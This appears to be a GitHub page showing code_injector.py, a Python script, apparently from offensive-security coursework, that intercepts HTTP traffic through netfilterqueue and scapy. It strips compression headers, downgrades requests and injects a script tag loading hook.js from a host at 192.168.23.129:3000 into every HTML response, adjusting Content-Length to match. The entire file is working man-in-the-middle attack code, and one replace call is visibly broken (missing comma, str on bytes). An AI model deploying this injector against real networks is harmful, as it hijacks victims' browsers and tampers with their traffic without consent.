-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathcode_injector.py
More file actions
48 lines (38 loc) · 1.83 KB
/
code_injector.py
File metadata and controls
48 lines (38 loc) · 1.83 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
#!/usr/bin/env python
import netfilterqueue
import scapy.all as scapy
import re
# THIS CODE INJECTOR ONLY WORKS ON HTTP SITES
def set_load(packet, load):
packet[scapy.Raw].load = load
del packet[scapy.IP].len
del packet[scapy.IP].chksum
del packet[scapy.TCP].chksum
return packet
def process_packet(packet):
scapy_packet = scapy.IP(packet.get_payload()) # WHY CONVERT INTO SCAPY_PACKET?
if scapy_packet.haslayer(scapy.TCP):
if scapy_packet.haslayer(scapy.Raw):
load = scapy_packet[scapy.Raw].load
if scapy_packet[scapy.TCP].dport == 8080: # CHANGED TO *)*) FOR TEST USE IN BETTERCAP
print("[+] Request")
load = re.sub(b"Accept-Encoding:.*?\\r\\n", b"", load)
load = load.replace("HTTP/1.1" "HTTP/1.0")
# print(scapy_packet.show())
elif scapy_packet[scapy.TCP].sport == 8080:
print("[+] Response")
scapy_packet.show()
injection_code = b'<script src="http://192.168.23.129:3000/hook.js"></script>' #"<script>alert('test');</script>"
load = load.replace(b"</body>", injection_code + b"</body>")
content_length_search = re.search(b"(?:Content-Length:\s)(\d*)", load)
if content_length_search:
content_length = content_length_search.group(1)
new_content_length = int(content_length) + len(injection_code)
load = load.replace(content_length, str(new_content_length).encode())
if load != scapy_packet[scapy.Raw].load:
new_packet = set_load(scapy_packet, load)
packet.set_payload(bytes(new_packet)) # WHY str NOT WORK INSTEAD OF bytes
packet.accept()
queue = netfilterqueue.NetfilterQueue()
queue.bind(0, process_packet)
queue.run()